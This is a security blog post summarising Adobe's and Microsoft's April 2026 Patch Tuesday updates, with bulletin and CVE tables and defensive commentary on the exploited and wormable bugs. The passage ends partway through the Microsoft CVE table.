<content:encoded><![CDATA[<p class="">It’s time once again for Patch Tuesday, and this one is huge. We’ve also got multiple exploits in the wild, which adds another layer of urgency to this month’s release. Take a break from your regularly scheduled activities, and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for April 2026</strong></p><p class="">For April, Adobe released 12 bulletins addressing 61 unique CVEs in Adobe Acrobat Reader, InDesign, InCopy, FrameMaker, Connect, ColdFusion, Bridge, Photoshop, Illustrator, Experience Manager Screens, and the Adobe DNG SDK. Three of the Cold Fusion bugs came through the TrendAI ZDI program. For this month, I’m introducing an Adobe table as well. I’d love to get your feedback on whether this is helpful.</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-43.html" target="_blank">APSB26-43</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>1</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>Yes</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-44.html" target="_blank">APSB26-44</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>2</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/indesign/apsb26-32.html" target="_blank">APSB26-32</a></td>
    <td>Adobe InDesign</td>
    <td>9</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/incopy/apsb26-33.html" target="_blank">APSB26-33</a></td>
    <td>Adobe InCopy</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/framemaker/apsb26-36.html" target="_blank">APSB26-36</a></td>
    <td>Adobe FrameMaker</td>
    <td>11</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/connect/apsb26-37.html" target="_blank">APSB26-37</a></td>
    <td>Adobe Connect</td>
    <td>9</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-38.html" target="_blank">APSB26-38</a></td>
    <td>Adobe ColdFusion</td>
    <td>7</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/bridge/apsb26-39.html" target="_blank">APSB26-39</a></td>
    <td>Adobe Bridge</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/photoshop/apsb26-40.html" target="_blank">APSB26-40</a></td>
    <td>Adobe Photoshop</td>
    <td>1</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/illustrator/apsb26-42.html" target="_blank">APSB26-42</a></td>
    <td>Adobe Illustrator</td>
    <td>1</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/aem-screens/apsb26-34.html" target="_blank">APSB26-34</a></td>
    <td>Adobe Experience Manager Screens</td>
    <td>9</td>
    <td>Important</td>
    <td>5.4</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/dng-sdk/apsb26-41.html" target="_blank">APSB26-41</a></td>
    <td>Adobe DNG SDK</td>
    <td>3</td>
    <td>Important</td>
    <td>5.5</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
</table>



  
  









  <p class="">Obviously, the active attack in Reader is the highest priority for this month, but don’t ignore the second bunch of Reader patches. Cold Fusion also gets a deployment priority of 1, so if you’re still running that platform, make sure you get the update. Otherwise, the FrameMaker and Connect patches fix 11 and nine bugs, respectively. InDesign and Experience Manager Screens also have nine CVEs addressed. </p><p class="">Outside of the Reader bug, none of the other bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release. One of the Reader bugs and Cold Fusion have a deployment priority of one, the other Reader bug has a priority of two, while all of the other updates released by Adobe this month are listed as deployment priority 3.</p><p class=""><strong>Microsoft Patches for April 2026</strong></p><p class="">This month, Microsoft released a monstrous 163 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, SQL Server, Hyper-V Server, BitLocker, and the Windows Wallet Service. Counting the third-party and a huge Chromium release, it brings the total number of CVEs to a staggering 247 updates. Six of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, two are rated as Moderate, and the rest are rated Important in severity.</p><p class="">By my count, this is the second-largest monthly release in Microsoft’s history. There are many things we could speculate on to justify the size, but if Microsoft is like the other programs out there (including ours), they are likely seeing a rise in submissions found by AI tools. For us, our incoming rate has essentially tripled, making triage a challenge, to say the least. Whatever the reason, we have a lot of bugs to deal with this month. I should also point out that the Pwn2Own Berlin occurs next month, and it’s typical for vendors to patch as much as they can before the event.</p><p class="">There is one Microsoft bug listed as under active attack at the time of release, and one other that’s publicly known. Let’s take a closer look at some of the more interesting updates for this month, starting with the vulnerability being exploited in the wild:</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32201" target="_blank"><strong>CVE-2026-32201</strong></a><strong> - Microsoft SharePoint Server Spoofing Vulnerability<br></strong>Microsoft doesn’t provide a lot of information about this bug, but Spoofing bugs in SharePoint often manifest as cross-site scripting (XSS) bugs. They do note that attackers could view information or make changes to disclosed information. As always, they don’t provide any information on how widespread these attacks are, but I wouldn’t wait to test and deploy this fix – especially if you have internet-connected SharePoint servers.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33825" target="_blank"><strong>CVE-2026-33825</strong></a><strong> - Microsoft Defender Elevation of Privilege Vulnerability<br></strong>This bug is listed as publicly known, and this time, we know exactly <a href="https://deadeclipse666.blogspot.com/2026/04/public-disclosure.html" target="_blank">where</a> it was disclosed. There have been some questions about how exploitable this bug may be, but it does look like it’s a real problem – just with some reliability issues in its current state. I won’t add on to the commentary from the researcher about working with Microsoft. I’m just glad they are offering a fix for the vulnerability. If you rely on Defender, test and deploy this one quickly.</p><p class="">-   <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33827" target="_blank"><strong>CVE-2026-33827</strong></a><strong> - Windows TCP/IP Remote Code Execution Vulnerability<br></strong>This vulnerability allows remote, unauthenticated attackers to exploit code on affected systems without user interaction. That adds up to a wormable bug – at least on systems with IPv6 and IPSec enabled. It is a race condition, which sets exploitability to High on the CVSS scale, but we see race conditions exploited at Pwn2Own all the time, so don’t rely on that obstacle. If you’re running IPv6, I would test and deploy this fix quickly before public exploits become available.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33824" target="_blank"><strong>CVE-2026-33824</strong></a><strong> - Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability<br></strong>Speaking of wormable bugs, here’s our second one this month. By the title, we can tell that systems with IKE enabled are affected, but that leaves plenty of targets for attackers. Microsoft also notes a significant mitigation for this bug. Blocking UDP ports 500 and 4500 at the perimeter prevents external attackers from reaching the affected service. However, insiders could still target this for lateral movement within an enterprise. For enterprises using IKE, get this fix tested and deployed with haste.</p><p class="">Here’s the full list of CVEs released by Microsoft for April 2026:</p>





















  
  




  


  
    




<title>April 2026 Patch Tuesday</title>



<table>
<thead><tr>
  <th>CVE</th>
  <th>Title</th>
  <th>Severity</th>
  <th>CVSS</th>
  <th>Public</th>
  <th>Exploited</th>
  <th>Type</th>
</tr></thead>
<tbody>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32201">CVE-2026-32201</a></td>
  <td>Microsoft SharePoint Server Spoofing Vulnerability</td>
  <td>Important</td>
  <td>6.5</td>
  <td>No</td>
  <td>Yes</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5281">CVE-2026-5281 *</a></td>
  <td>Chromium: CVE-2026-5281 Use after free in Dawn</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>Yes</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33825">CVE-2026-33825</a></td>
  <td>Microsoft Defender Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>Yes</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23666">CVE-2026-23666</a></td>
  <td>.NET Framework Denial of Service Vulnerability</td>
  <td>Critical</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32190">CVE-2026-32190</a></td>
  <td>Microsoft Office Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33114">CVE-2026-33114</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33115">CVE-2026-33115</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32157">CVE-2026-32157</a></td>
  <td>Remote Desktop Client Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33826">CVE-2026-33826</a></td>
  <td>Windows Active Directory Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33824">CVE-2026-33824</a></td>
  <td>Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>9.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33827">CVE-2026-33827</a></td>
  <td>Windows TCP/IP Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.1</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26171">CVE-2026-26171</a></td>
  <td>.NET Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32226">CVE-2026-32226</a></td>
  <td>.NET Framework Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>5.9</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32178">CVE-2026-32178</a></td>
  <td>.NET Spoofing Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32203">CVE-2026-32203</a></td>
  <td>.NET and Visual Studio Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33116">CVE-2026-33116</a></td>
  <td>.NET, .NET Framework, and Visual Studio Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-20585">CVE-2023-20585 *</a></td>
  <td>AMD: CVE-2023-20585 IOMMU Write Buffer Vulnerability</td>
  <td>Important</td>
  <td>5.3</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32072">CVE-2026-32072</a></td>
  <td>Active Directory Spoofing Vulnerability</td>
  <td>Important</td>
  <td>6.2</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25184">CVE-2026-25184</a></td>
  <td>Applocker Filter Driver (applockerfltr.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32171">CVE-2026-32171</a></td>
  <td>Azure Logic Apps Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32168">CVE-2026-32168</a></td>
  <td>Azure Monitor Agent Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32192">CVE-2026-32192</a></td>
  <td>Azure Monitor Agent Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32181">CVE-2026-32181</a></td>
  <td>Connected User Experiences and Telemetry Service Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27924">CVE-2026-27924</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32152">CVE-2026-32152</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32154">CVE-2026-32154</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27923">CVE-2026-27923</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32155">CVE-2026-32155</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23653">CVE-2026-23653</a></td>
  <td>GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.7</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32631">CVE-2026-23653 *</a></td>
  <td> GitHub: CVE-2026-32631 'git clone' from manipulated repositories can leak NTLM hashes </td>
  <td>Important</td>
  <td>7.4</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33096">CVE-2026-33096</a></td>
  <td>HTTP.sys Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25250">CVE-2026-25250 *</a></td>
  <td>MITRE: CVE-2026-25250 Secure Boot disable Eazy Fix</td>
  <td>Important</td>
  <td>6</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26181">CVE-2026-26181</a></td>
  <td>Microsoft Brokering File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32219">CVE-2026-32219</a></td>
  <td>Microsoft Brokering File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32091">CVE-2026-32091</a></td>
  <td>Microsoft Brokering File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26152">CVE-2026-26152</a></td>
  <td>Microsoft Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33103">CVE-2026-33103</a></td>
  <td>Microsoft Dynamics 365 (On-Premises) Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32188">CVE-2026-32188</a></td>
  <td>Microsoft Excel Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>7.1</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32189">CVE-2026-32189</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32197">CVE-2026-32197</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32198">CVE-2026-32198</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32199">CVE-2026-32199</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32184">CVE-2026-32184</a></td>
  <td>Microsoft High Performance Compute (HPC) Pack Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26155">CVE-2026-26155</a></td>
  <td>Microsoft Local Security Authority Subsystem Service Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27914">CVE-2026-27914</a></td>
  <td>Microsoft Management Console Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26149">CVE-2026-26149</a></td>
  <td>Microsoft Power Apps Security Feature Bypass</td>
  <td>Important</td>
  <td>9</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32200">CVE-2026-32200</a></td>
  <td>Microsoft PowerPoint Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26143">CVE-2026-26143</a></td>
  <td>Microsoft PowerShell Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33120">CVE-2026-33120 †</a></td>
  <td>Microsoft SQL Server Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20945">CVE-2026-20945</a></td>
  <td>Microsoft SharePoint Server Spoofing Vulnerability</td>
  <td>Important</td>
  <td>4.6</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33822">CVE-2026-33822</a></td>
  <td>Microsoft Word Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.1</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33095">CVE-2026-33095</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23657">CVE-2026-23657</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32081">CVE-2026-32081</a></td>
  <td>Package Catalog Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26170">CVE-2026-26170</a></td>
  <td>PowerShell Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26183">CVE-2026-26183</a></td>
  <td>Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26160">CVE-2026-26160</a></td>
  <td>Remote Desktop Licensing Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26159">CVE-2026-26159</a></td>
  <td>Remote Desktop Licensing Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26151">CVE-2026-26151</a></td>
  <td>Remote Desktop Spoofing Vulnerability</td>
  <td>Important</td>
  <td>7.1</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32085">CVE-2026-32085</a></td>
  <td>Remote Procedure Call Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32167">CVE-2026-32167</a></td>
  <td>SQL Server Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>6.7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32176">CVE-2026-32176</a></td>
  <td>SQL Server Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>6.7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-0390">CVE-2026-0390</a></td>
  <td>UEFI Secure Boot Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>6.7</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32220">CVE-2026-32220</a></td>
  <td>UEFI Secure Boot Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>4.4</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32212">CVE-2026-32212</a></td>
  <td>Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32214">CVE-2026-32214</a></td>
  <td>Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32079">CVE-2026-32079</a></td>
  <td>Web Account Manager Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33104">CVE-2026-33104</a></td>
  <td>Win32k Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32196">CVE-2026-32196</a></td>
  <td>Windows Admin Center Spoofing Vulnerability</td>
  <td>Important</td>
  <td>6.1</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26178">CVE-2026-26178</a></td>
  <td>Windows Advanced Rasterization Platform Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
